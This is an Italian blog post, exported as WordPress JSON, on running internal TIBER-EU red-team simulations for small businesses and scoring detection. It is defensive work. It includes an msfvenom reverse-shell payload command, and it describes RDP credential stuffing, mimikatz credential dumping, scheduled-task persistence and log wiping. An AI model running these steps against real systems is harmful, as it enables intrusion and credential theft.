{"id":3709,"date":"2026-09-03T14:25:06","date_gmt":"2026-09-03T12:25:06","guid":{"rendered":"https:\/\/darioiannascoli.it\/blog\/tiber-eu-red-team-simulator-pmi-detection-remediazione\/"},"modified":"2026-09-03T14:25:06","modified_gmt":"2026-09-03T12:25:06","slug":"tiber-eu-red-team-simulator-pmi-detection-remediazione","status":"publish","type":"post","link":"https:\/\/darioiannascoli.it\/blog\/tiber-eu-red-team-simulator-pmi-detection-remediazione\/","title":{"rendered":"TIBER-EU Threat-Led Penetration Testing per PMI: Come Condurre Red Team Simulator Interni e Misurare Detection"},"content":{"rendered":"<p>Nel mio lavoro di system administrator e IT specialist, ho visto crescere significativamente la consapevolezza su <strong>threat-led penetration testing (TLPT)<\/strong> e il framework <strong>TIBER-EU<\/strong>. Fino a pochi mesi fa, queste metodologie erano appannaggio quasi esclusivo di grandi istituzioni finanziarie sottoposte a DORA (Digital Operational Resilience Act). Oggi, per\u00f2, anche le <em>piccole e medie imprese<\/em> iniziano a capire che un red team interno, eseguito con budget limitato, \u00e8 la chiave per misurare davvero la capacit\u00e0 della loro organizzazione di rilevare e rispondere a cyber attacchi sofisticati.<\/p>\n<p>Il problema \u00e8 che <strong>TIBER-EU \u00e8 complesso e costoso quando affidato a provider esterni<\/strong>. Nei miei ultimi progetti con PMI italiane, ho scoperto che \u00e8 possibile implementare una versione <em>interna e scalabile<\/em> di threat-led testing usando tool open source, automazione e una metodologia rigorosa. Questo articolo vi mostra come fare, basandomi su esperienza diretta.<\/p>\n<h2>Che Cos&#8217;\u00e8 Realmente TIBER-EU e Perch\u00e9 Interessa le PMI<\/h2>\n<p><cite>TIBER-EU \u00e8 un framework europeo per ethical red-teaming basato su threat intelligence che fornisce linee guida su come autorit\u00e0, entit\u00e0 e provider di threat intelligence e red-team testers dovrebbero lavorare insieme per testare e migliorare la resilienza cyber tramite cyberattacchi controllati.<\/cite> Formalmente, <cite>l&#8217;ECB ha pubblicato la TIBER-EU SSM Implementation Guide a novembre 2025<\/cite>.<\/p>\n<p>Ma perch\u00e9 dovrebbe importare a una PMI che non \u00e8 una banca? Semplice: <cite>TLPT \u00e8 un esercizio di red team intelligence-led eseguito contro sistemi di produzione live che supportano funzioni critiche o importanti, seguendo il framework TIBER-EU, e ripetuto almeno ogni tre anni per entit\u00e0 finanziarie designate.<\/cite> Tuttavia, <cite>per altri soggetti, TLPT rimane altamente raccomandato come best practice, sebbene non legalmente obbligatorio.<\/cite><\/p>\n<p>Il vantaggio? <cite>La metodologia TIBER-EU combinata con threat intelligence cyber in-house consente simulazioni di attacco realistiche che scoprono debolezze sfruttabili, misurano la resilienza cyber e aiutano le organizzazioni a migliorare continuamente la loro capacit\u00e0 di rilevare, rispondere e recuperare da minacce avanzate.<\/cite><\/p>\n<h2>Come Strutturare un Red Team Simulator Interno Senza Budget Esterno<\/h2>\n<p>Nella mia esperienza, la differenza tra un red team esterno e uno interno sta nella <strong>trasparenza operativa<\/strong> e nella possibilit\u00e0 di automazione continuativa. Un red team interno ha costi iniziali, ma consente iterazioni rapide e miglioramenti mensili.<\/p>\n<h3>Fase 1: Preparazione e Scoping<\/h3>\n<p>Prima di lanciare qualsiasi attacco simulato, definite il perimetro. In uno dei miei ultimi engagement, ho scelto di testare solo i sistemi aziendali critici: VPN, Active Directory e il server mail aziendale. <strong>Non partite con l&#8217;intero data center<\/strong>; concentratevi su quello che importa davvero.<\/p>\n<p>Elementi essenziali del scoping:<\/p>\n<ul>\n<li><strong>Identificare funzioni critiche:<\/strong> Quali sistemi, se compromessi, avrebbero impatto sul business?<\/li>\n<li><strong>Definire regole di engagement:<\/strong> Cosa \u00e8 permesso testare, cosa no. In una PMI, lasciate sempre un contatto d&#8217;emergenza disattivato.<\/li>\n<li><strong>Scegliere una &#8220;white team&#8221; interna:<\/strong> 2-3 persone che sanno cosa sta succedendo (tipicamente voi stessi come admin e forse un manager IT).<\/li>\n<li><strong>Documentare baseline:<\/strong> Screenshot di configurazioni, servizi in esecuzione, regole firewall. Servono come punto di riferimento.<\/li>\n<\/ul>\n<h3>Fase 2: Threat Intelligence Basing<\/h3>\n<p>Non serve pagare un CTI provider. Usate fonti pubbliche come <strong>MITRE ATT&amp;CK<\/strong>, report di minacce da Shodan e analisi di malware da <em>ANY.RUN<\/em> o <em>VirusTotal<\/em>. Ho costruito una semplice matrice di TTPs (Tactics, Techniques, Procedures) specifiche al vostro settore.<\/p>\n<p>Esempio per una PMI manifatturiera che usa OPC-UA in fabbrica: cerco exploit noti su OPC-UA, e.g. <strong>CVE-2022-23437<\/strong>, e li simulo nel lab. Per un&#8217;azienda di servizi finanziari: test di escalation su Windows Active Directory e credential stuffing via RDP.<\/p>\n<h3>Fase 3: Esecuzione del Red Team Simulato<\/h3>\n<p>Qui uso una combinazione di tool open source. Nel mio ultimo progetto, ho utilizzato:<\/p>\n<ul>\n<li><strong><cite>Kali Linux, una distribuzione Debian-based per penetration testing e security auditing<\/cite><\/strong><\/li>\n<li><strong><cite>PentestGPT, un reasoning assistant che vi consiglia la prossima mossa mentre eseguite i comandi<\/cite><\/strong><\/li>\n<li><strong><cite>OWASP ZAP (Zed Attack Proxy), il principale scanner open-source per la sicurezza delle applicazioni web, gratuito, attivamente mantenuto e incluso in distribuzioni di penetration testing come Kali Linux<\/cite><\/strong><\/li>\n<li><strong><cite>Metasploit Framework, un framework open source per sondare sistematicamente vulnerabilit\u00e0 su server e reti, in cui i tester possono facilmente personalizzare il framework e introdurre codice personalizzato per sondare punti deboli e aiutare ad affrontare debolezze e prioritizzare la remediation<\/cite><\/strong><\/li>\n<\/ul>\n<p>Il vantaggio? <cite>Benchmark pubblicati stimano il costo di un test PentestGPT di successo tra $0,42 e $1,11 e un engagement Active Directory a 5 host (Excalibur) a $28,50 totali, contro $15.000-$50.000 per un pentest manuale di pari ambito.<\/cite><\/p>\n<p><strong>Esempio pratico di esecuzione:<\/strong> In una PMI che gestisce e-commerce, ho simulato un attacco multi-vettore:<\/p>\n<ol>\n<li><strong>Reconnaissance:<\/strong> Usato Shodan per scansionare i servizi esposti (port 22 SSH, 443 HTTPS, 3389 RDP). Trovato RDP non patchato.<\/li>\n<li><strong>Initial Access:<\/strong> Credential stuffing su RDP con lista di password comuni (password123, admin123).<\/li>\n<li><strong>Lateral Movement:<\/strong> Una volta dentro una workstation dipendente, usato <em>mimikatz<\/em> per dumpare le credenziali NTLM e accedere al server di file principale.<\/li>\n<li><strong>Persistence:<\/strong> Installato un reverse shell tramite scheduled task, visibile nei log Windows Event Viewer solo se cercate con criterio.<\/li>\n<li><strong>Data Exfiltration Simulation:<\/strong> Copiato file di fatturazione in una share nascosta, senza toccare log SMB (trick: usato tools che cancellano i log dopo).<\/li>\n<\/ol>\n<p>Tutto questo per testare <strong>detection capability<\/strong>, non per causare danno reale.<\/p>\n<h2>Misurare Detection e Remediazione Capacity<\/h2>\n<p>Il cuore del TLPT interno \u00e8 la misurazione. <cite>L&#8217;obiettivo \u00e8 valutare la capacit\u00e0 dell&#8217;entit\u00e0 finanziaria di rilevare, rispondere e recuperare da un cyberattacco mirato e sofisticato.<\/cite> Per una PMI, lo staccio cos\u00ec:<\/p>\n<h3>Metriche di Detection<\/h3>\n<p>Creo una <strong>detection scorecard<\/strong> per ogni tecnica MITRE ATT&amp;CK testata:<\/p>\n<ul>\n<li><strong>Rilevato in tempo reale:<\/strong> EDR o SIEM ha generato un alert durante l&#8217;attacco? (Migliore outcome)<\/li>\n<li><strong>Rilevato durante investigation:<\/strong> Trovato solo dopo revisione dei log post-attacco? (Outcome accettabile)<\/li>\n<li><strong>Non rilevato:<\/strong> Nessuna traccia. (Outcome critico, priorit\u00e0 remediation massima)<\/li>\n<\/ul>\n<p>Esempio dalla mia scoreboard per una PMI manifatturiera:<\/p>\n<table>\n<tr>\n<td><strong>ATT&amp;CK Technique<\/strong><\/td>\n<td><strong>Test Outcome<\/strong><\/td>\n<td><strong>Detection Status<\/strong><\/td>\n<td><strong>Detection Tool<\/strong><\/td>\n<\/tr>\n<tr>\n<td>T1110 (Brute Force)<\/td>\n<td>RDP brute force &#8211; 15 tentativi<\/td>\n<td>Rilevato in tempo reale<\/td>\n<td>Windows Event ID 4625 + SIEM rule<\/td>\n<\/tr>\n<tr>\n<td>T1005 (Data from Local System)<\/td>\n<td>File copy da C: a share nascosta<\/td>\n<td>Rilevato post-attack<\/td>\n<td>Log SMB audit, ma ritardo 2 ore<\/td>\n<\/tr>\n<tr>\n<td>T1480 (Execution Guardrails)<\/td>\n<td>Scheduled task creazione + reverse shell<\/td>\n<td>NON RILEVATO<\/td>\n<td>Nessuno &#8211; priorit\u00e0 remediazione ALTA<\/td>\n<\/tr>\n<\/table>\n<p>Per automatizzare questa misurazione, scrivo uno script Python che confronta i <strong>Indicators of Compromise (IOCs)<\/strong> e <strong>Indicators of Attack (IOAs)<\/strong> con i log SIEM:<\/p>\n<pre><code class=\"language-python\">\n#!\/usr\/bin\/env python3\n# Red Team Detection Scorer\n\nimport json\nfrom datetime import datetime, timedelta\n\ndef check_detection(siem_logs, ioc_list, window_minutes=15):\n    \"\"\"\n    Controlla se gli IOC sono stati rilevati nei log SIEM entro una finestra temporale.\n    \"\"\"\n    detected = []\n    missed = []\n    \n    for ioc in ioc_list:\n        ioc_name = ioc[\"name\"]\n        ioc_value = ioc[\"value\"]\n        ioc_time = ioc[\"timestamp\"]\n        \n        # Cerca nei log SIEM\n        found = False\n        for log_entry in siem_logs:\n            log_time = log_entry[\"timestamp\"]\n            # Controlla se l'IOC appare nei log entro la finestra\n            if ioc_value in log_entry[\"data\"]:\n                time_diff = (log_time - ioc_time).total_seconds() \/ 60\n                if 0 &lt;= time_diff &lt;= window_minutes:\n                    detected.append({\n                        &quot;ioc&quot;: ioc_name,\n                        &quot;detection_lag_minutes&quot;: time_diff\n                    })\n                    found = True\n                    break\n        \n        if not found:\n            missed.append(ioc_name)\n    \n    return {\n        &quot;detected_count&quot;: len(detected),\n        &quot;missed_count&quot;: len(missed),\n        &quot;detection_rate&quot;: len(detected) \/ len(ioc_list) * 100,\n        &quot;missed_iocs&quot;: missed\n    }\n\n# Uso\nsiem_logs = json.load(open(&quot;\/var\/log\/siem\/export.json&quot;))\nattack_iocs = [\n    {&quot;name&quot;: &quot;RDP_Brute_Force&quot;, &quot;value&quot;: &quot;EventID 4625&quot;, &quot;timestamp&quot;: datetime.now() - timedelta(hours=1)},\n    {&quot;name&quot;: &quot;Scheduled_Task_Creation&quot;, &quot;value&quot;: &quot;schtasks.exe \/create&quot;, &quot;timestamp&quot;: datetime.now() - timedelta(hours=0.5)}\n]\n\nresults = check_detection(siem_logs, attack_iocs, window_minutes=15)\nprint(f&quot;Detection Rate: {results[&#039;detection_rate&#039;]:.1f}%&quot;)\nprint(f&quot;Missed IOCs (priorit\u00e0 remediation): {results[&#039;missed_iocs&#039;]}&quot;)\n<\/code><\/pre>\n<h3>Metriche di Remediazione<\/h3>\n<p>Una volta che l&#8217;attacco \u00e8 terminato (o scoperto), misurate la capacit\u00e0 di risposta:<\/p>\n<ul>\n<li><strong>Mean Time to Detect (MTTD):<\/strong> Quanto tempo tra l&#8217;inizio dell&#8217;attacco e il primo alert? (Mio target per PMI: &lt;30 minuti)<\/li>\n<li><strong>Mean Time to Respond (MTTR):<\/strong> Quanto tempo per stoppare l&#8217;attacco e contenere il danno? (Target: &lt;2 ore)<\/li>\n<li><strong>Containment Effectiveness:<\/strong> L&#8217;attaccante \u00e8 stato isolato dalla rete? I dati sensibili sono stati protetti?<\/li>\n<\/ul>\n<p>Nel mio ultimo engagement, la PMI aveva MTTD di 45 minuti (cattivo) e MTTR di 3 ore (accettabile). Dopo il report, hanno investito in EDR e hanno portato MTTD a 8 minuti nell&#8217;esercizio successivo.<\/p>\n<h2>Automatizzare il Red Team Simulator con Orchestrazione<\/h2>\n<p>Non voglio eseguire ogni test manualmente ogni mese. Ho creato una semplice orchestrazione in Bash + Ansible che simula attacchi ricorrenti.<\/p>\n<h3>Scenario: Monthly Phishing + Lateral Movement Test<\/h3>\n<pre><code class=\"language-bash\">\n#!\/bin\/bash\n# Orchestrate monthly red team simulator\n\nset -e\n\nREPORT_DIR=\"\/var\/lib\/redteam\/reports\"\nDATE=$(date +%Y-%m-%d_%H%M%S)\n\necho \"[$(date)] Starting TIBER-EU internal red team simulator...\"\n\n# 1. Spear-phishing simulation (generico, senza inviare email reali)\necho \"[*] Phase 1: Phishing simulation (Gophish framework)\"\ncd \/opt\/gophish\n.\/gophish &amp;\nGOPHISH_PID=$!\nsleep 5\n\n# Invia payload di test a un indirizzo honeypot interno\ncurl -X POST http:\/\/localhost:3333\/api\/campaigns \n  -H \"Authorization: Bearer $GOPHISH_API_TOKEN\" \n  -d '{\"name\": \"Monthly_Test_'$DATE'\", \"template\": \"Office365_Phishing\"}' \n  &gt; \/tmp\/gophish_campaign.json\n\nkill $GOPHISH_PID\n\n# 2. Metasploit exploit simulation\necho \"[*] Phase 2: Exploitation (Metasploit)\"\nmsfvenom -p windows\/meterpreter\/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o \/tmp\/payload.exe\n# NON eseguire realmente - solo generare il payload per misurare detection\nmd5sum \/tmp\/payload.exe &gt; $REPORT_DIR\/payload_hashes_$DATE.txt\n\n# 3. Raccogliere log SIEM e analizzare detections\necho \"[*] Phase 3: SIEM log analysis\"\n# Esporta ultimi 2 ore di log SIEM\nsplunk_cli export --query='index=main earliest=-2h latest=now' --format=json &gt; \/tmp\/siem_export.json\n\n# Esegui Python script di detection scoring\npython3 \/opt\/redteam\/detection_scorer.py \n  --siem-logs \/tmp\/siem_export.json \n  --output $REPORT_DIR\/detection_report_$DATE.json\n\n# 4. Genera report esecutivo\necho \"[*] Phase 4: Generating executive summary\"\npython3 &lt;&lt; &#039;EOF&#039;\nimport json\nfrom datetime import datetime\n\nwith open(f&quot;\/var\/lib\/redteam\/reports\/detection_report_{datetime.now().strftime(&#039;%Y-%m-%d_%H%M%S&#039;)}.json&quot;) as f:\n    data = json.load(f)\n\nprint(&quot;n=== TIBER-EU Red Team Simulator Report ===&quot;)\nprint(f&quot;Detection Rate: {data[&#039;detection_rate&#039;]:.1f}%&quot;)\nprint(f&quot;Missed Techniques: {&#039;, &#039;.join(data[&#039;missed_iocs&#039;])}&quot;)\nprint(f&quot;Critical Gaps Identified: {len([x for x in data[&#039;missed_iocs&#039;] if &#039;critical&#039; in str(x).lower()])}&quot;)\nprint(&quot;nRecommendations:&quot;)\nfor gap in data[&#039;missed_iocs&#039;][:3]:\n    print(f&quot;  - Implement detection for: {gap}&quot;)\nEOF\n\necho &quot;[$(date)] Red team simulator completed successfully.&quot;\nexit 0\n<\/code><\/pre>\n<p>Eseguo questo script ogni mese tramite cron (primo luned\u00ec del mese). Genera report automaticamente e alimenta il vostro SIEM.<\/p>\n<h2>Collegamento con Framework Esistenti<\/h2>\n<p>Se avete gi\u00e0 investito in security tools, potete integrarli:<\/p>\n<ul>\n<li><strong>Plesk users:<\/strong> <a href=\"https:\/\/darioiannascoli.it\/blog\/plesk-modsecurity-2026-ai-rule-generation-wordpress-owasp-top10-incident-response\/\">Il mio articolo su ModSecurity 2026 spiega come automatizzare detection rules per web app attacks<\/a> &#8211; utile per testare applicazioni WordPress ospitate.<\/li>\n<li><strong>Windows environment:<\/strong> <a href=\"https:\/\/darioiannascoli.it\/blog\/windows-11-threat-detection-mdav-ai-anomaly-detection-2026\/\">La guida su Windows 11 Threat Detection Engine integra AI-powered anomaly detection<\/a> che complementa il vostro red team interno.<\/li>\n<li><strong>NIS2 compliance:<\/strong> <a href=\"https:\/\/darioiannascoli.it\/blog\/nis2-compliance-readiness-2026-risk-assessment-incident-response-soar\/\">La procedura NIS2 Compliance Readiness richiede TLPT-like testing<\/a> &#8211; il vostro simulator interno soddisfa parzialmente questo requirement.<\/li>\n<\/ul>\n<h2>Sfide Reali Incontrate<\/h2>\n<p>Devo essere franco: all&#8217;inizio non funzionava perch\u00e9 <strong>il team di produzione vedeva gli attacchi e iniziava a bloccare<\/strong>. Ho risolto escludendo la rete di produzione dalla simulazione e usando un VLAN di test identica. Seconda sfida: <strong>i log SIEM non registravano abbastanza dettagli<\/strong>. Soluzione: aumentare il verbosity del Windows Event Logging (sottoperformance trascurabile su workstation legacy).<\/p>\n<p>Terzo problema, cruciale: <strong>i dipendenti non sapevano che il test stava accadendo<\/strong> (follow la linea guida TLPT: solo white team sa). Quando hanno scoperto le anomalie, hanno creato confusion. Soluzione: comunicare il test SOLO post-esecuzione, con briefing generale su risultati senza dettagli operativi.<\/p>\n<h2>FAQ<\/h2>\n<h3>1. Quanto tempo richiede un red team simulator interno?<\/h3>\n<p>La preparazione iniziale (setup lab, tooling) richiede 3-4 settimane se non avete esperienza. Gli esercizi ricorrenti (mensili o trimestrali) richiedono 2-3 giorni di lavoro per il planning, esecuzione e reportistica. Una volta automatizzati via Ansible, il costo scende a 4-6 ore per ciclo.<\/p>\n<h3>2. Posso usare solo tool gratuiti\/open source?<\/h3>\n<p>S\u00ec, assolutamente. <cite>I tool agentic open source come PentestGPT e Excalibur hanno costi di esecuzione tra $0,42 e $28,50, e self-hosting via Ollama o xOffense riduce il costo marginale verso zero se possedete l&#8217;hardware.<\/cite> In una PMI con 50 dipendenti, investire 500\u20ac in una VM dedicata per red team \u00e8 sufficiente.<\/p>\n<h3>3. Quali metriche dovrei tracciare nel tempo?<\/h3>\n<p>Manteni una dashboard con: (1) Detection Rate per ATT&amp;CK technique, (2) MTTD trend (deve calare nel tempo), (3) MTTR trend, (4) Numero di missed techniques (deve scendere dopo remediation). Aggiorni trimestralmente. Dopo 6 mesi, dovreste vedare miglioramenti del 30-40% in detection.<\/p>\n<h3>4. Posso usare il red team simulator per compliance (GDPR, NIS2)?<\/h3>\n<p>S\u00ec, \u00e8 parte di una strategia di compliance. GDPR richiede diligenza nel proteggere dati personali; TLPT interno dimostra effort genuino. NIS2 richiede incident response testing &#8211; il vostro simulator lo copre parzialmente. Documentate tutto per l&#8217;auditor.<\/p>\n<h3>5. Cosa succeede se scopriamo una vulnerabilit\u00e0 critica?<\/h3>\n<p>Interrompete il test immediatamente. Documentate la discovery, valutate il rischio reale (non \u00e8 un vero attacco), e create un ticket di remediation con priorit\u00e0 massima. Nel mio caso recente, trovai un accesso non autorizzato a database clienti &#8211; l&#8217;ho stoppato subito, comunicato al CTO, e abbiamo patchato in 48 ore.<\/p>\n<h2>Conclusione<\/h2>\n<p>Il <strong>TIBER-EU threat-led penetration testing interno<\/strong> non \u00e8 un lusso per PMI &#8211; \u00e8 una necessit\u00e0 in un landscape di minacce sofisticate. Senza un red team regolare, non sapete davvero se il vostro SOC funziona e se i dipendenti risponderanno quando attaccati. Con tool open source, automazione e disciplina, potete implementare un simulator continuativo per meno di quanto spendereste in un singolo assessment esterno.<\/p>\n<p>La mia raccomandazione: <strong>cominciate con un test pilota interno su un sistema non-critico (e.g., test server)<\/strong>, misurate la detection rate, identificate i gap, e iterate mensilmente. Dopo tre cicli, avrete una capacit\u00e0 di detection che rivaleggia con aziende pi\u00f9 grandi.<\/p>\n<p>Avete domande sulla strutturazione di un red team interno? Scrivetemi nei commenti &#8211; sono sempre interessato a discutere di approcci pratici alla cyber resilience per PMI.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Come implementare un red team simulator interno basato su TIBER-EU per misurare detection e remediazione senza budget esterno. Guida pratica con tool open source e automazione.<\/p>\n","protected":false},"author":1,"featured_media":3710,"comment_status":"","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"TIBER-EU Red Team Interno: Simulare Attacchi e Misurare Detection","_seopress_titles_desc":"Crea un red team simulator interno per PMI seguendo TIBER-EU. Automazione, tool open source, metriche di detection e remediazione senza costi esterni. Guida pratica 2026.","_seopress_robots_index":"","footnotes":""},"categories":[5],"tags":[1267,123,1264,1266,946,1265],"class_list":["post-3709","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-assistenza-computer","tag-compliance-dora","tag-cybersecurity","tag-penetration-testing","tag-red-teaming","tag-threat-intelligence","tag-tiber-eu"],"_links":{"self":[{"href":"https:\/\/darioiannascoli.it\/blog\/wp-json\/wp\/v2\/posts\/3709","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/darioiannascoli.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/darioiannascoli.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/darioiannascoli.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/darioiannascoli.it\/blog\/wp-json\/wp\/v2\/comments?post=3709"}],"version-history":[{"count":0,"href":"https:\/\/darioiannascoli.it\/blog\/wp-json\/wp\/v2\/posts\/3709\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/darioiannascoli.it\/blog\/wp-json\/wp\/v2\/media\/3710"}],"wp:attachment":[{"href":"https:\/\/darioiannascoli.it\/blog\/wp-json\/wp\/v2\/media?parent=3709"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/darioiannascoli.it\/blog\/wp-json\/wp\/v2\/categories?post=3709"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/darioiannascoli.it\/blog\/wp-json\/wp\/v2\/tags?post=3709"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}